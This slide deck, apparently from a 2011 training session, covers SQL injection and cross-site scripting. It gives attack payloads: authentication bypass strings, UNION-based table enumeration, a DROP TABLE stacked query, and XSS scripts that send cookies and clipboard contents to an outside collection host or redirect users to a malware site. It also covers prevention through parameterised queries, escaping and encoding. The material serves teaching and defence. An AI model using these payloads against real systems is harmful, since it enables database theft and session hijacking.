sql injection & xss slides

Understanding SQL Injection

(Prevention Mechanism)Adzmely Mansor

[email protected]

Tuesday, May 17, 2011

Purpose

• understanding

• pen-test existing internal application

• good practice / methods sql injection prevention in programming

• “ Not a license to KILL !!!”


SQL Injection

• How strong Firewall rules - easily walk through port 80

• Inserting SQL meta-characters/commands into web based input methods: {‘GET’,‘POST’}

• Well known and exploited technique


SQL Injection

Port80/443

Firewall

WebServer

Openly launch attack from compromised server

MaliciousUser


A Threat?

• Albert Gonzalez

• 130 millions credit card number

• Used SQL - Injection technique

• Steal data from internal corporate network

• Sentenced 20 years in March 2010

• x-Informer to US secret service to catch hackers


A Threat?

• Sept 19, 2010 during Swedish General Election a voter attempted a code injection as part of a write in vote.


SQL Injection? How?http://victim.org/news.php?id=234

SELECT * FROM News where news_id = $_GET[‘id’]

SELECT * FROM News where news_id = 234


SQL Injection? How?http://victim.org/news.php?id=234 and 1=1

SELECT * FROM News where news_id = $_GET[‘id’]

SELECT * FROM News where news_id = 234 and 1=1


Sample Attacks

• comments/inline comments

• admin’ --

• select username,password where username=‘admin’-- ’ and password=‘pass’;


Sample Attacks

• comments/inline comments

• ‘ or 1=1--

• select username,password where username=‘admin’ and password=‘’ or 1=1-- ’;


SQL Injection: 3 types

• Inband: extracted using same channel

• Out-of-band: extracted using different channel - email

• Inferential: no actual data transfer, behavior observation


Blind SQL Injection

• results not visible to attacker

• logical statement to attack

• time consuming/intensive

• heavy load on web server from single source of IP

• automation tools - sqlmap/sqlplus/etc


Blind SQL Injection

• Conditional Test

• and 1=1 / and 1=2

• Conditional Errors

• select 1/0 from users where username=‘user1’;

• Time Delay

• measure execution time


Vulnerability Testing

• GET/POST methods

• unescaped numerical value

• single quote unescaped string

• double quotes unescaped string

• etc


Vulnerability Testing

• look for

• page errors? - 500 Server Error

• redirect page?

• SQL/ODBC Errors

• page differences

• ‘ and 1=1-- , ‘ and 1=2--


Test for SQL Injection

• unescaped numerical

• select * from news where id = $_GET[id]

• add some sql statement / blind?

• ?id=23 and / ?id=23 and {1=1,1=2}

• error?

• differences



• unescaped numerical

• Open Lesson 1a URL

• do some test

• try to detect sql injection vulnerability

• try to exploit



• unescaped numerical with addslashes() or magic quotes?

• select * from news where id = addslashes($_GET[id])

• try to do same test in Lesson 1b URL

• injectable?



• unescaped single quote - ‘

• select * from news where id = ‘$_GET[id]’

• using single quote to produce error / differences

• try to inject with some simple blind technique



• unescaped single quote ‘

• Open Lesson 2a URL

• do some test


• try to exploit



• unescaped double quotes - “

• select * from news where id = “$_GET[id]”

• using single quote to produce error / differences

• try to inject with some simple blind technique



• unescaped double quotes “

• Open Lesson 2b URL

• do some test


• try to exploit



• unescaped statement with parentheses

• update users set password=md5($_POST[‘pass’]) where id = ....

• injectable

• pass = abc); --



• POST Method

• Open Lesson 3 URL

• do some test



In Band: Stealing Data

• getting table list

• find how many columns in query

• use union select

• find database name: mysql database() function in union select

• use mysql information_schema tables

• use group_concat in query



• finding how many columns in query

• using ORDER by

• ORDER by 1--

• ORDER by 2--

• ORDER by 3--

• errors means found the number of selected columns



• finding how many columns in query

• using union + select

• use dummy strings to find number of columns in query



• using group concat

• SELECT group_concat(name) from users;

• return query data’s in single column



• getting table list from information_schema.tables

• SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = “dbname”;



• getting table columns from information_schema.columns

• SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = “tname”;



• Exercise: Open any previous Lesson URL

• retrieve passwords from un-named tables in the same DB


Stacking Queries

‘ ; drop table users; -- supported not supported unknown


Random Test

• Choose your internal website

• search for sql injection possibilities

• do some penetration test


SQL Injection Tools

• sqlmap

• python base

• CLI - command line interface

• fully automated penetration test

• DB finger prints

• DB, Tables enumerations


Prevention

• Whose Responsibility?

• No SQL database, connector, or framework can prevent SQL injection all the time

• Security is the application developer’s job


Monitoring

• Never reveal error messagesYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

INSERT INTO user (username, password, admin) VALUES ('Mr. O'Neil', 'password', false);

Not only does this confuse/anger the visitor, but reveals sensitive information about your application

<?php

if (! $query) {

die (“Error: ” mysql_error() );

} ....

This is BAD


Monitoring

• Error Handling

• Never show errors in production

• Log errors so they can be fixed or email them

• Check Regularly

• This way, you will see potential bugs/security holes, and you can fix them promptly.


Log Error

function sql_failure_handler($query, $error) {

$msg = htmlspecialchars (“Failed Query: {$query}<br>SQL Error: {$error}”);

error_log ($msg, 3, “/home/site/logs/sql_error_log”);

if ( defined(‘debug’) ) {

return $msg;

}

return “Requested page is temporarily unavailable, please try again later.”;

}

mysql_query ( $query ) or die(sql_failure_handler($query, mysql_error()));


Prevention

“Escaping Input PreventsSQL Injection.”


Prevention

• Simply adding addslashes() or magic_quotes enough?

• $id = addslashes($_GET[‘id’]) ?


Escaping & Filtering<?php

$id = $_GET[“id”];$category = $_GET[“category”];

$sql = “SELECT * from News WHERE id = {$id} AND category = ‘{$category}’”;

mysql_query ($sql) or die(sql_failure_handler($query, mysql_error()));


Escaping & Filtering

SELECT * from NewsWHERE id = 254AND category = ‘ict’

type casting - integer

escape special characterby using backslash


Escaping & Filtering<?php

$id = (int) $_GET[“id”];$category = mysql_real_escape_string($_GET[“category”]);

$sql = “SELECT * from News WHERE id = {$id} AND category = ‘{$category}’”;

mysql_query ($sql) or die(sql_failure_handler($query, mysql_error()));


Escaping Methods• mysql_real_escape_string()

• addslashes()

• Class Object method such PDO

• $pdo->quote()

• method not available to all DB types !!!

• multiple escaping method?

• No. One is enough!


Prevention

• using addslashes() ? - unescaped numerical

$qry = "SELECT * FROM\ tblTest WHERE \ TestID = " . addslashes($_GET['id']);

What addslashes() do?problem solved?


Prevention

• using mysql_real_escape_string() ? - on unescaped numerical

$sql = "SELECT * FROM tblTest WHERE TestID=".mysql_real_escape_string($_GET['id']);

What mysql_real_escape_string() do?problem solved?


Prevention

• unescaped numerical - use type casting

(int) $_GET[‘id’]


Magic Quotes

• Cannot simply rely on Magic Quotes

• Turning On Magic Quotes will not solved all your problems - eg: unescaped numerical variable


Prevention

• Quoting all arguments

• since single quotes are always escaped, combining with addslashes or mysql_real_escape_string this technique prevents SQL Injection

• however for numerical always numeric casting


Like Quadary

• SELECT * messages WHERE subject LIKE ‘{$sub}%’

• % used as wild card

• _ (underscore) represent any character

• $sub = mysql_real_escape_string(“%_”)

• still %_ - no changes


Like Quadary

• large amount of data queried

• more memory usage

• slow down database

• slow down process / server

• possibilities of Denial of Service (DOS) attack


Like Quadary

• Solution - addcslashes()

• customs escaped characters

$sub = addcslashes (

mysql_real_escape_string(“%something...”),

”%_”);


The Best Solution

• Use Placeholder/Paramater - eg: PHP MySQL/PDO

$stmt = $pdo->prepare("SELECT * FROM fruit WHERE name = ?"); $stmt->execute(array("Apple"));

You don’t need to deal with escaping data because it’s done by the PDO library.

• Code Quality also Increases

• No more nasty concatenation

• No more hoping every programmer escaped query properly


Parameter Placeholder

• Query need a dynamic value:

SELECT * from NewsWHERE id = 254

user input



• Query parameter takes place of dynamic value:

SELECT * from NewsWHERE id = ?

parameter placeholder



• How the database parse it

query

SELECT

FROM

WHERE

expr-list

simple-table

expr

*

News

equality

id

=

?

parameter placeholder



• How the database execute it

query

SELECT

FROM

WHERE

expr-list

simple-table

expr

*

News

equality

id

=

254

parameter value



• Interpolation

query

SELECT

FROM

WHERE

expr-list

simple-table

expr

*

News equality

id

=

254

SQL Injection

OR

254



• How the database execute it

query

SELECT

FROM

WHERE

expr-list

simple-table

expr

*

News

equality

id

=

254OR

TRUEno parameter can change the tree



“Query Parameter Prevent SQL Injection.”


Whitelist Map

http://example.org/news.php?sort=date&dir=up<?php

$sortorder = $_GET[“sort”];$direction = $_GET[“dir”];

$sql = “SELECT * FROM News ORDER BY {$sortorder} {$direction}”;

$query = mysql_query($sql);

unsafe

sql injection


Whitelist Map

Fix with a Whitelist Map<?php

$sortorders = array ( “status” => “status”, “date” => “sysdate”);

$directions = array ( “up” => “ASC”, “down” => “DESC”);

$sortorder_default = “status”;$direction_default = “ASC”;


Whitelist Map

Map User Input to Safe SQL<?php

if ( isset ( $sortorders [ $_GET[“sort”] ] ) ){ $sortorder = $sortorders [ $_GET[“order”] ];} else { $sortorder = $sortorder_default;}


Whitelist Map

Map User Input to Safe SQL<?php

if ( isset ( $directions [ $_GET[“dir”] ] ) ){ $direction = $directions [ $_GET[“order”] ];} else { $direction = $direction_default;}


Whitelist Map

Interpolate Safe SQL<?php

$sql = “SELECT * FROM News ORDER BY {$sortorder} {$direction}”;

$query = mysql_query($sql);

whitelisted values


Prevention

• Limited Database User Access

• GRANT specific permissions

• DROP, CREATE, etc should be revoked from connected DB user


Cross Site ScriptingXSS


XSS : Definition

• computer security vulnerability in web application

• where information from one context where it is not trusted is injected to another context where it is trusted

• from this trusted context and attack can be started


XSS : Example

• simple web application that directly output the user supplied URL parameter

• open lesson1.php?name=Abu

• Selamat Datang Abu

<?phpecho “Selamat Datang “ . $_GET[‘name’];


XSS : Example

• javascript injection:

lesson1.php?name=</script>alert(/XSS/);</script>


XSS Threat

• XSS is most common injection vulnerability

• Direct output of user input allows injection of arbitrary content into website

• HTML tags

• Active content (Javascript / Flash)

• Firewall?

• via port 80


Reflective XSS

• Simplest form of XSS

• User input is read from the request parameters and written directly into the output

• Included malicious code is executed within the browser

• Victim’s browser has to execute the XSS triggering request itself


Persistent XSS

• Stored / permanent XSS

• User input is read from a request and stored in RAW

• database

• file

• etc

• example: comments in a blog


Persistent XSS

• victim’s browser visit a website

• stored user input is read from database and directly written into the output

• embedded malicious code get executed within victim browser


DOM based XSS

• is similar to reflective XSS

• but server side doesn’t play a role

• fault is within javascript code

• victim’s browser must execute the XSS request itself


DOM based XSS

• usually triggered by working with URL parameters/URL anchors in Javascript

• XSS caused by output in HTML context

• XSS caused by evaluating - JS eval() injection


XSS Dangers

• Displaying annoying pop-ups

• Redirect - malware

• Modification of text and images (defacement)

• Manipulation of client side application logic

• Theft of clipboard, cookies, passwords

• XSS traverse firewalls - port 80/443


XSS Test

• Displaying pop-ups

• most commonly used for diagnose and demonstration of XSS problems

• harmless

• just uses the javascript alert() function

• <script>alert(1);</script>


XSS: Redirection

• used by spammers and malware industry

• harmless if redirect for advertisement purposes

• dangerous if redirected to malware / exploits


XSS: Redirection

• Just modifies document.location

<script> document.location = “http://www.malware.org”;</script>


XSS: Cookies Theft

• allow theft of authentication information or session identifiers stored in cookie

• doesn’t work with httpOnly cookies


XSS: Cookies Theft

• just send document.cookie to the attacker

<script> tag = “<img src=‘http://war.com/collect.php?data=”; tag = tag + escape(document.cookie) + “‘>”; document.write(tag)</script>


XSS: Clipboard Theft

• Allow theft of sensitive data from user’s clipboard

• Uses clipboardData object in Internet Explorer

• Triggers a security question since IE 7


XSS: Clipboard Theft

• IE 7

<script> myClipBoard = clipBoardData.getData(“Text”); tag = “<img src=‘http://war.com/collect.php?data=”; tag = tag + escape(myClipBoard) + “‘>”; document.write(tag)</script>


XSS: Theft of Passwords

• Mozilla Firefox comes with password safe

• Known password are filled into form after page fully loaded

• With XSS attackers passwords cached can be stolen


XSS: Manipulating Logic

• Example:

• Fill in support ticket with injectable XSS persistent method

• Support engineer open ticket

• steal cookies

• change submit action - onSubmit eventhandlet


Different HTML contexts

• Outside of HTML tags

• Within HTML tags

• Within URL HTML tag attributes

• In stylesheet attributes/tags

• In javascript / javascript strings


Injection outside HTML tags

• Raw user input is inserted between HTML tags

• Injection of new HTML tags

<body> ... Hello <?php echo $_GET[‘name’]; ?> !</body>

<body> ... Hello <script>.....</script> !</body>



• Filter function strip_tags() remove html tags

• In the output all <script> tags are removed

<body> ... Hello <?php echo strip_tags($_GET[‘name’]); ?> !</body>



• The encoding function htmlspecialchars() encodes special characters into HTML entities (or htmlentities())

• In the output special chars are disarmed

<body> ... Hello <?php echo htmlspecialchars($_GET[‘name’]); ?> !</body>

<body> ... Hello <script> .... </script> !</body>


Injection within HTML tags

• Raw user input is inserted within a HTML tag attribute

• Injection with eg. an event-handler

<img src=”abc.png” title=<? echo $_GET[‘a’]; ?>><img src=”abc.png” title=’<? echo $_GET[‘a’]; ?>’><img src=”abc.png” title=”<? echo $_GET[‘a’]; ?>”>

<img src=”abc.png” title=x onmouseover=...><img src=”abc.png” title=’x’ onmouseover=’...’><img src=”abc.png” title=”x” onmouseover=”...”>



• Encoding functions not protecting at all in case of non standard HTML

• Injection always possible because no quotes are used around attribute values

<img src=”abc.png” title=<? echo htmlentities($_GET[‘a’]); ?>>

<img src=”abc.png” title=x onmouseover=...>



• HTML attribute values should be within double quotes “”

• Use encoding functions as protection and encode the appropriate quotes

• Injection is no longer possible because breaking out the attribute context is not possible

<img src=”abc.png” title=”<? echo htmlentities($_GET[‘a’]); ?>”>


Injection within URL attribute

• Raw URLs is inserted into HTML tag URL atribute

• Injection: eg. Javascript URLs

<img src=”<?php echo $_GET[‘a’]); ?>”>

<a href=”<?php echo $_GET[‘b’]); ?>”> Click Here </a>

<img src=”javascript: alert(123);”>

<a href=”javascript: alert(123);”> Click Here </a>


Injection within URL attribute

• To secure the output, encoding function must be used but they are not sufficient

• XSS problem is not the possibility to break out attribute value, but the URL type - javascript

• input filter should use a whitelist of allowed URL types


Injection in Stylesheet

• Raw user input is inserted into information

• Injected are IE expression, Javascript URLs or Mozilla’s moz-binding

<style> a { color: <? echo $_GET[‘color’]; ?>; }</style>

<style> a { color: expression(alert(1)); }</style>


Injection in Javascript

• Raw user input is inserted into javascript

• Injection is normal Javascript

<script> var str = “name: <? echo $_GET[‘name’]; ?>”; document.write(str);</script>

<script> var str = “name: “; alert(123);//”; document.write(str);</script>


Thank Youhttp://[email protected]


sql injection & xss slides

Documents